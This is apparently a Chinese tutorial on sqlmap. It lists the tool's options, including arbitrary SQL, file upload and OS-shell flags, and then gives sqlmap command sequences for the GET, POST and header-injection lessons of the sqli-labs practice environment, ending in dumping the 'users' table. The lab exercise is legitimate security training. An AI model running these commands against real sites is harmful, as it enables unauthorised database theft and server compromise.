目录
sqlmap常见参数使用:
-h 输出参数说明
-hh 输出详细的参数说明
-v 输出级别(0~6,默认1)
-u url 指定url
--data=DATA 该参数指定的数据会被作为POST数据提交
-r file.txt 常用于POST注入或表单提交时注入
-p / --skip 指定/跳过测试参数
--cookie 设置cookie
--force-ssl 强制使用SSL
--threads 指定线程并发数
--prefix 指定前缀
--suffix 指定后缀
--level 检测级别(1~5,默认1)
--risk 风险等级(1~4,默认1)
--all 列举所有可访问的数据(不推荐)
--banner 列举数据库系统的信息等
--current-user 输出当前用户
--current-db 输出当前所在数据库
--hostname 输出服务器主机名
--is-dba 检测当前用户是否为管理员
--users 输出数据库系统的所有用户
--dbs 输出数据库系统的所有数据库
-D DB 指定数据库
--tables 在-D情况下输出库中所有表名
-T table 在-D情况下指定数据表
--columns 在-D -T情况下输出表中所有列名
-C column 在-D -T情况下输出某列数据的值
--dump 拉取数据存放到本地
--dump-all 拉取所有可访问数据存放到本地
--count 输出数据条目数量
--search 搜索数据库名、表明、列名,需要与-D -T或-C 联用
--sql-query 执行任意的SQL语句
--sql-shell 使用交互式SQL语句执行环境
--flie-read 读取文件
--file-write 上传文件(指定本地路径)
--file-dest 上传文件(指定目标机器路径)
--os-cmd 执行任意系统命令
--os-shell 使用交互式shell执行命令
--batch 所有要求输入都选取默认值
--wizard 初学者向导
less1-10 get型
猜解当前数据库名称
sqlmap -u url --batch --current-db
猜解表名
sqlmap -u url --batch -D "security" --tables
猜解字段
sqlmap -u url -D "security" -T "users" --columns
脱库
sqlmap -u url -D "security" -T "users" --dump
以第五题为例
1.猜解当前数据库名称
2.猜解表名
我们得到敏感数据表名 ' users '
3.猜解字段
4.脱库
less11-17 post型
启动sqlmap探测注入点
sqlmap -u url --data="uname=admin&passwd=admin" --batch
爆破当前数据库名
sqlmap -u url --data="uname=admin&passwd=admin" --batch --current-db
爆破数据表
sqlmap -u url --data="uname=admin&passwd=admin" --batch -D security --tables
最后脱库
sqlmap -u url --data="uname=admin&passwd=admin" --batch -D security -T users --dump
以12题为例
启动sqlmap探测注入点,剩下步骤同get型
Less18-22 头部注入
在头部注入爆破中,sqlmap需要提高扫描等级 level 和 risk
level x (x为1-5) 当为2时会对头部的cookie进行扫描注入尝试,x>=3时对 user-Agent , ip , referer 参数进行扫描
risk x (x 为1-3) 1时进行大部分扫描 2会增加基于事件的测试语句 3会增加or语句的sql注入
以18题为例